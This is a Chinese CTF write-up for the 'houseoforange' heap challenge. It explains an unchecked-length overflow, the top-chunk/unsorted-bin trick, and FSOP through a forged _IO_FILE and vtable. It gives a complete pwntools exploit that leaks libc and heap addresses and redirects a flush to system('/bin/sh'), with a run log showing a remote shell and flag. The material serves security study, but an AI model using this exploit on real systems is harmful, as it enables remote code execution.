PWN技巧之_IO_FILE结构体利用house of orange

20 篇文章 0 订阅
5 篇文章 0 订阅

解题思路

安全机制检查

healer@healer-virtual-machine:~/Desktop/IO_FILE/level1/house_of_orange/houseoforange$ readelf -h houseoforange
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xaf0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          12664 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         27
  Section header string table index: 26
healer@healer-virtual-machine:~/Desktop/IO_FILE/level1/house_of_orange/houseoforange$ checksec houseoforange
[*] '/home/healer/Desktop/IO_FILE/level1/house_of_orange/houseoforange/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
# 保护全开

分析利用过程

堆空间基本使用情况

# 简单测试堆的结构
pwndbg> x/50xg 0x555555758000
0x555555758000:	0x0000000000000000	0x0000000000000021   结构体1
0x555555758010:	0x0000555555758080	0x0000555555758030   property指针  name指针
0x555555758020:	0x0000000000000000	0x0000000000000051
0x555555758030:	0x6665656264616564	0x000000000000000a   name chunk区域
0x555555758040:	0x0000000000000000	0x0000000000000000
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000021
0x555555758080:	0x000000200000000f	0x0000000000000000   property区域
0x555555758090:	0x0000000000000000	0x0000000000000021   结构体2
0x5555557580a0:	0x0000555555758110	0x00005555557580c0   property指针  name指针
0x5555557580b0:	0x0000000000000000	0x0000000000000051
0x5555557580c0:	0x6665656264616564	0x000000000000000a   name chunk区域
0x5555557580d0:	0x0000000000000000	0x0000000000000000
0x5555557580e0:	0x0000000000000000	0x0000000000000000
0x5555557580f0:	0x0000000000000000	0x0000000000000000
0x555555758100:	0x0000000000000000	0x0000000000000021
0x555555758110:	0x000000200000000f	0x0000000000000000   property区域
0x555555758120:	0x0000000000000000	0x0000000000020ee1   Top chunk区域
0x555555758130:	0x0000000000000000	0x0000000000000000

name chunk区域:存放输入的用户名
property区域:存放输入的“Price of Orange”

初步发现漏洞
Upgrade函数
int Upgrade()
{
  char *v1; // rbx
  unsigned int v2; // [rsp+8h] [rbp-18h]
  signed int v3; // [rsp+Ch] [rbp-14h]

  if ( upgrade_times > 2u )
    return puts("You can't upgrade more");
  if ( !ptr )
    return puts("No such house !");
  printf("Length of name :");
  v2 = get_int();
  if ( v2 > 0x1000 )
    v2 = 4096;
  printf("Name:");
  read_n(ptr->malloc_ptr, v2);       //直接读入数据,未检测新的大小是否大于原有大小
  printf("Price of Orange: ", v2);
  v1 = ptr->property;
  *(_DWORD *)v1 = get_int();
  print_color();
  printf("Color of Orange: ");
  v3 = get_int();
  if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 0xDDAA )
    *((_DWORD *)ptr->property + 1) = 0xDDAA;
  else
    *((_DWORD *)ptr->property + 1) = v3 + 30;
  ++upgrade_times;
  return puts("Finish");
}

函数中可以对数据进行修改,但是修改数据时,重新输入的大小“Length of name”没有经过检验,就是说,函数的堆块在第一次创建的时候经过了malloc函数分配内存,但是第二次修改时直接修改了可读入的字符个数,可以造成堆中数据的溢出,且溢出大小可任意控制,且溢出空间的内存可控

基本利用思路

此题的利用过程学姿势,第一次做此类的题目,模仿大佬,然后了解过程中的所有细节

触发sysmalloc()_int_free()构造Unsorted bin泄漏敏感地址
# 创建第一个chunk
pwndbg> vis_heap_chunks

0x555555758000	0x0000000000000000	0x0000000000000021	........!.......
0x555555758010	0x0000555555758050	0x0000555555758030	P.uUUU..0.uUUU..
0x555555758020	0x0000000000000000	0x0000000000000021	........!.......
0x555555758030	0x6665656264616564	0x000000000000000a	deadbeef........
0x555555758040	0x0000000000000000	0x0000000000000021	........!.......
0x555555758050	0x000000200000000f	0x0000000000000000	.... ...........
0x555555758060	0x0000000000000000	0x0000000000020fa1	................	 <-- Top chunk

# 堆溢出之后修改Top Chunk大小
pwndbg> x/30xg 0x555555758000
0x555555758000:	0x0000000000000000	0x0000000000000021
0x555555758010:	0x0000555555758050	0x0000555555758030
0x555555758020:	0x0000000000000000	0x0000000000000021
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x000000200000000f	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000fa1
0x555555758070:	0x000000000000000a	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000

# 再次创建一个大小刚好大于上一步构建的0xfa1大小的chunk
pwndbg> heap 
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555758020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555758040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555758060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555758080
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555557580a0
Size: 0xf41
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x555555758fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x555555758ff0
Size: 0x11

Allocated chunk
Addr: 0x555555759000
Size: 0x00

pwndbg> x/30xg 0x555555758000
0x555555758000:	0x0000000000000000	0x0000000000000021
0x555555758010:	0x0000555555758050	0x0000555555758030
0x555555758020:	0x0000000000000000	0x0000000000000021
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x000000200000000f	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000021
0x555555758070:	0x000000000000000a	0x0000555555779010
0x555555758080:	0x0000000000000000	0x0000000000000021
0x555555758090:	0x000000000000000f	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000f41
0x5555557580b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x5555557580c0:	0x0000000000000000	0x0000000000000000
pwndbg> x/30xg 0x555555758000+0xfa0
0x555555758fa0:	0x0000000000000000	0x0000000000000000
0x555555758fb0:	0x0000000000000000	0x0000000000000000
0x555555758fc0:	0x0000000000000000	0x0000000000000000
0x555555758fd0:	0x0000000000000000	0x0000000000000000
0x555555758fe0:	0x0000000000000f40	0x0000000000000010
0x555555758ff0:	0x0000000000000000	0x0000000000000011
0x555555759000:	0x0000000000000000	0x0000000000000000

pwndbg> unsortedbin 
unsortedbin
all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0

此处需要详细解释为什么发生了这种情况,下面是参考大佬的解释,详细内容参见大佬源码解释

大佬的源码分析


Top Chunk大小的修改需要满足一下条件:

  • 大于MINSIZE(0X10)
  • 小于所需的大小 + MINSIZE
  • prev inuse位设置为1
  • old_top + oldsize的值是页对齐的
assert ((old_top == initial_top (av) && old_size == 0) ||  ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

当再次申请的chunk大小大于现有Top Chunk时,会触发sysmalloc中_int_free,并且申请的堆大小也不能超过mp_.mmap_threshold,因为代码中也会根据请求值来做出不同的处理。

if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
  && (mp_.n_mmaps < mp_.n_mmaps_max)))

如果请求的堆块大小nb大于等于mp_.mmap_threshold就可能走mmap分支,而不是扩展原来heap的大小了。

触发_int_free后,top_chunk就被释放到unsortbin中了。之所以要这样操作,是因为程序本身的限制,让我们不能分配到想要的内存区。

  • 每一次查看只能查看最近创建的Chunk中的信息,查看不到之前的
  • 题目程序本身没有释放(free)操作

通过这种方式,在空闲区有了堆块,也就存在了链表指针,通过一定的方式就拿到想要的数据。使得Unsorted bin中有内容,并且内容可以被泄漏出来


继续漏洞利用过程利用分析

# 紧接着创建一个0x410大小的chunk
pwndbg> x/30xg 0x555555758000
0x555555758000:	0x0000000000000000	0x0000000000000021
0x555555758010:	0x0000555555758050	0x0000555555758030
0x555555758020:	0x0000000000000000	0x0000000000000021
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x000000200000000f	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000021
0x555555758070:	0x0000555555758090	0x0000555555779010
0x555555758080:	0x0000000000000000	0x0000000000000021
0x555555758090:	0x000000200000000f	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000021
0x5555557580b0:	0x00005555557584f0	0x00005555557580d0
0x5555557580c0:	0x0000000000000000	0x0000000000000421
0x5555557580d0:	0x0a65656264616564	0x00007ffff7dd2188   <- Libc address
0x5555557580e0:	0x00005555557580c0	0x00005555557580c0   <- Heap address
上面紧接着申请一个chunk,进程会切分unsortedbin,并且将TopChunk的值写到堆空间

此时libcmain_arenaheap的地址都出现在了堆块中,可通过see()函数泄漏出来

关于堆的地址出现在unsorted bin中的源码解释:

摘自:https://www.cnblogs.com/shangye/p/6268981.html

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;//将old_top从unsortbin中取下
bck->fd = unsorted_chunks (av);
    …
victim_index = largebin_index (size);//计算old_top大小在largebin那个层次
bck = bin_at (av, victim_index);
fwd = bck->fd;
…
    victim->fd_nextsize = victim->bk_nextsize = victim;//将old_top的fd_nextsize和bk_nextsize都指向old_top本身mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//将old_top加入largebin链表中
bck->fd = victim;

摘自:https://www.anquanke.com/post/id/84965

通过上一步我们已经在堆中创建了一个unsorted bin chunk,我们就可以通过他来泄露libc和堆的地址.

泄露libc的地址:我们首先新建一间新的house,其大小设为一个比较大的值但同时还要小于我们刚刚设置top chunk的大小,通过这种方式来拿到刚才那个unsorted bin chunk。接下来我们可以输入8个字节作为housename,紧接着在使用 See the house 功能我们就能拿到libc的地址.由于没有清理位于堆中的值,所以我们才能得到libc的地址.

泄露堆的地址:因为这里已经没有任何一个chunk可以匹配unsorted bin的大小了,所以他会被作为第一个large bin.这里有两个成员需要注意: fd_nextsizebk_nextsize,在large chunk中上述两个成员位于的位置的值为两个指针.分别指向下一个和前一个large chunk.我们可以在修改 house信息时利用它来泄露堆的地址.

本题关键点开始

自己也是第一次做这种题目,就先把相关的概念全部整理出来,有以下几个概念需要搞明白

  • _IO_FILE对象
  • _IO_flush_all_lockp函数
  • _IO_list_all
  • _IO_jump_t虚函数表
  • _IO_FILE_complete对象
    • _IO_FILE_complete对象是_IO_FILE结构的完全版
  • _IO_FILE_plus
    _IO_FILE_plus_IO_FILE的加强版,linux程序中每创建一个文件对象,都会为这个对象生成一个_IO_FILE_plus结构体,所有文件共享一个函数表,_IO_jump_t *vtable指向这个函数表
FILE 结构

摘自:CTF_All_In_One

参考个人整理文章

另:由于自对这部分内容也是第一次接触,开始有很多概念一下子也没看懂,大佬的原文,切记要详读,并理解


自己先简单总结一下:

结合自己的调试发现_IO_list_all中记录的值是strerr的FILE结构体的值(此题未调用其他的文件读取,所以应该只有3个FILE结构stdin、stdout、stderr):

pwndbg> p _IO_list_all
$12 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> x/30xg 0x7ffff7dd2540
0x7ffff7dd2540 <_IO_2_1_stderr_>:	0x00000000fbad2086	0x0000000000000000
0x7ffff7dd2550 <_IO_2_1_stderr_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2560 <_IO_2_1_stderr_+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2590 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd25a0 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x00007ffff7dd2620
0x7ffff7dd25b0 <_IO_2_1_stderr_+112>:	0x0000000000000002	0xffffffffffffffff
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>:	0x0000000000000000	0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>:	0x00007ffff7dd1660	0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>:	0x0000000000000000	0x00007ffff7dd06e0

由于FILE结构体中的_chain域将所有的FILE结构体构成一个链表,所以下一个FILE结构体就在stderr结构体的_chain里面,看下面他们3个的链接关系

pwndbg> p/x *((struct _IO_FILE_plus*)stderr)
$14 = {
  file = {
    ...
    _chain = 0x7ffff7dd2620,    # 指向stdout
    ...

pwndbg> x/50xg 0x7ffff7dd2620
0x7ffff7dd2620 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007ffff7dd26a3
...

pwndbg> p/x *((struct _IO_FILE_plus*)stdout)
$15 = {
  file = {
    ...
    _chain = 0x7ffff7dd18e0,     # 指向stdin
    ...

pwndbg> x/50xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007ffff7dd1963
...

pwndbg> p/x *((struct _IO_FILE_plus*)stdin)
$16 = {
  file = {
    ...
    _markers = 0x0, 
    ...

# 也可以使用下面的方法实现
pwndbg> p _IO_list_all->file._chain
$18 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p (struct _IO_FILE *)(_IO_list_all->file._chain)._chain
$23 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> p (struct _IO_FILE *)((_IO_list_all->file._chain)._chain)._chain
$24 = (struct _IO_FILE *) 0x0

在这里插入图片描述

可以发现现在三个_IO_FILE_plus结构体的vtble指向的都是0x7ffff7dd06e0

pwndbg> x/50xg 0x7ffff7dd06e0
0x7ffff7dd06e0 <_IO_file_jumps>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd06f0 <_IO_file_jumps+16>:	0x00007ffff7a869d0	0x00007ffff7a87740
0x7ffff7dd0700 <_IO_file_jumps+32>:	0x00007ffff7a874b0	0x00007ffff7a88610
0x7ffff7dd0710 <_IO_file_jumps+48>:	0x00007ffff7a89990	0x00007ffff7a861f0
0x7ffff7dd0720 <_IO_file_jumps+64>:	0x00007ffff7a85ed0	0x00007ffff7a854d0
0x7ffff7dd0730 <_IO_file_jumps+80>:	0x00007ffff7a88a10	0x00007ffff7a85440
0x7ffff7dd0740 <_IO_file_jumps+96>:	0x00007ffff7a85380	0x00007ffff7a7a190
0x7ffff7dd0750 <_IO_file_jumps+112>:	0x00007ffff7a861b0	0x00007ffff7a85b80
0x7ffff7dd0760 <_IO_file_jumps+128>:	0x00007ffff7a85980	0x00007ffff7a85350
0x7ffff7dd0770 <_IO_file_jumps+144>:	0x00007ffff7a85b70	0x00007ffff7a89b00
0x7ffff7dd0780 <_IO_file_jumps+160>:	0x00007ffff7a89b10	0x0000000000000000
0x7ffff7dd0790:	0x0000000000000000	0x0000000000000000

pwndbg> p _IO_file_jumps
$17 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a869d0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a87740 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a874b0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a89990 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a861f0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a854d0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a85440 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a85380 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7a190 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a861b0 <__GI__IO_file_read>, 
  __write = 0x7ffff7a85b80 <_IO_new_file_write>, 
  __seek = 0x7ffff7a85980 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a85350 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a85b70 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

vtable_IO_jump_t类型的指针,_IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针,该类型在libc文件中的导出符号是_IO_file_jumps,至此已经梳理完了所有新的知识点,各种结构体、指针、链表、函数、偏移、列表以及他们之间的关系,下面开始讨论利用方法。

此题FSOP利用继续

FSOP 的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

调试中发现下面的问题
pwndbg> p/x *(struct _IO_FILE_plus*)stdin
$2 = {
  file = {
    _flags = 0xfbad208b, 
    _IO_read_ptr = 0x7ffff7dd1963, 
    ...
    _unused2 = {0x0 <repeats 20 times>}
  }, 
  vtable = 0x7ffff7dd06e0     # 此处是我们想控制的变量
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555557000 r-xp     3000 0      /home/healer/Desktop/houseoforage/houseoforange
    0x555555756000     0x555555757000 r--p     1000 2000   /home/healer/Desktop/houseoforage/houseoforange
    0x555555757000     0x555555758000 rw-p     1000 3000   /home/healer/Desktop/houseoforage/houseoforange
    0x555555758000     0x55555579b000 rw-p    43000 0      [heap]
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

# 根据vmmap显示的结果发现这里倒数第二行是不可写的内存区域,而vtable指针恰好在这个区域内
# 这里是因为我没有使用题目给定的libc文件,自带的libc-2.23.so实际上将原来的漏洞修复了
# 咱们先按照题目的环境运行,关于2.23版本的利用方法,此题做出来之后再尝试
题目运行环境的调整

运行环境调整的插曲

调整系统环境之后发现发现,vtable指针所在段可写,可以进行继续调试


结构体利用部分思路整理

通过调试发现我们最终要实现的目的如下图所示:

在这里插入图片描述

关于函数执行流程的一些参考

在这里插入图片描述

关于payload的构造思路整理,先看图:

在这里插入图片描述

攻击脚本

from pwn import *
from LibcSearcher import * 

context.log_level='debug'
# context.terminal = ['terminator', '-x', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

io = remote("111.200.241.244",49392)
# io = process("./houseoforange")

elf = ELF("./houseoforange")

# libc = ELF("./libc32-2.19.so")
libc = ELF("./libc64-2.19.so")
# libc = ELF("./libc-2.19.so")

context(arch = "amd64", os = 'linux')

def build_house(length,name,price,color):
	io.recvuntil("Your choice : ")
	io.sendline("1")
	io.recvuntil("Length of name :")
	io.sendline(str(length))
	io.recvuntil("Name :")
	io.sendline(name)
	io.recvuntil("Price of Orange:")
	io.sendline(str(price))
	io.recvuntil("Color of Orange:")
	io.sendline(str(color))

def see_house():
	io.recvuntil("Your choice : ")
	io.sendline("2")

def upgrade_house(length,name,price,color):
	io.recvuntil("Your choice : ")
	io.sendline("3")
	io.recvuntil("Length of name :")
	io.sendline(str(length))
	io.recvuntil("Name:")
	io.sendline(name)
	io.recvuntil("Price of Orange: ")
	io.sendline(str(price))
	io.recvuntil("Color of Orange: ")
	io.sendline(str(color))

# gdb.attach(io,"b * $rebase(0x13fd)\nb * $rebase(0x1415)\nb * $rebase(0xeea)\nb * $rebase(0xd68)")
# gdb.attach(io,"b * $rebase(0x13fd)\nb * $rebase(0xd68)\nb * $rebase(0x1415)")

build_house(0x10,"deadbeef",15,2)
payload = b"A"*0x10 + p64(0) + p64(0x21) + p64(0x000000200000000f) + p64(0)*2 + p64(0xfa1)
upgrade_house(0x60,payload,15,2)
build_house(0xfb0,"deadbeef",15,2)       # trigger the _int_free in sysmalloc
build_house(0x410,"deadbee",15,2)        

# Leak Libc address
see_house()
io.recvuntil(b"deadbee\x0a")
main_arena_x = io.recv(6).ljust(8,b"\x00")
main_arena_x = u64(main_arena_x)
log.success("Get main_arena_x Address : "+hex(main_arena_x))

malloc_hook = main_arena_x - 1640 - 0x20    # libc2.23 -> 0x10     ;    libc2.19 -> 0x20
libc_base_addr = malloc_hook - libc.symbols["__malloc_hook"]
log.success("Get Libc Base Address : "+hex(libc_base_addr))


# # plan A   # failure because of the error of system address
# system_addr_offset = libc.symbols["system"]
# system_addr = libc_base_addr + system_addr_offset
# log.success("Get System Address : "+hex(system_addr))

# plan B leak system address     successfully    
obj = LibcSearcher("__malloc_hook", malloc_hook)    # 调用函数获取对应libc版本对象
libcbase = malloc_hook - obj.dump("__malloc_hook")    # 获取libc加载的基地址
system_addr = libcbase + obj.dump("system")  # 进而获取system函数
log.success("LibcSearcher System Address : "+hex(system_addr))

# Leak Heap address
payload = b"A"*15
upgrade_house(0x20,payload,15,2)
see_house()
io.recvuntil(b"A"*15+b"\x0a")
heap_address = io.recv(6).ljust(8,b"\x00")
heap_address = u64(heap_address)
# print("heap_address -> "+hex(heap_address))
heap_address = heap_address -0xc0
log.success("Get Heap Begin Address : "+hex(heap_address))

IO_list_all_addr = libc_base_addr + libc.symbols["_IO_list_all"]
log.success("Get _IO_list_all Address : "+hex(IO_list_all_addr))


vtable_addr = heap_address + 0x5f0 + 8
log.success("Get vtable_addr Address : "+hex(vtable_addr))


payload = b"b"*0x420
payload += p32(0xdada) + p32(0x20) + p64(0)
stream = b"/bin/sh\x00" + p64(0x61) # fake file stream
stream += p64(0xdeadbeef) + p64(IO_list_all_addr-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,b"\x00")        # contains the value of _vtable_offset == 0     1
stream += p64(heap_address+0x5d0)       # point to _wide_data
stream = stream.ljust(0xc0,b"\x00")     
stream += p64(1)           # value of _mode      so :  fp->_mode > 0                       2

payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)      # point to _IO_jump_t struct   
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)      # _IO_write_base 
payload += p64(5)      # _IO_write_ptr    so : _IO_write_ptr > _IO_write_base              3
payload += p64(0)
payload += p64(system_addr)      # point to system
upgrade_house(0x800,payload,123,3)
io.recvuntil(":")
io.sendline("1")       # trigger malloc and abort

io.interactive()

执行成功效果

healer@ubuntu:~/houseoforage$ python3 remote_exp.py 
[+] Opening connection to 111.200.241.244 on port 49392: Done
[*] '/home/healer/houseoforage/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/home/healer/houseoforage/libc64-2.19.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Get main_arena_x Address : 0x7f11e0fb4dc8
[+] Get Libc Base Address : 0x7f11e0bf6000
[+] Get System Address : 0x7f11e0c3c590
Multi Results:
 0: archive-old-glibc (id libc6-i386_2.19-10ubuntu2_amd64)
 1: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64)
 2: archive-eglibc (id libc6_2.19-0ubuntu6_amd64)
 3: archive-old-glibc (id libc6_2.19-10ubuntu2_amd64)
 4: archive-old-glibc (id libc6_2.19-10ubuntu2.3_amd64)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1
[+] ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64) be choosed.
[+] LibcSearcher System Address : 0x7f11e0c38590
[+] Get Heap Begin Address : 0x5642273d9000
[+] Get _IO_list_all Address : 0x7f11e0fb51a0
[+] Get vtable_addr Address : 0x5642273d95f8
[*] Switching to interactive mode
 *** Error in `./houseoforange': malloc(): memory corruption: 0x00007f11e0fb51a0 ***
$ ls
bin
dev
flag
houseoforange
lib
lib32
lib64
$ cat flag
cyberpeace{e276c48d*****************1fc36f7873d}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值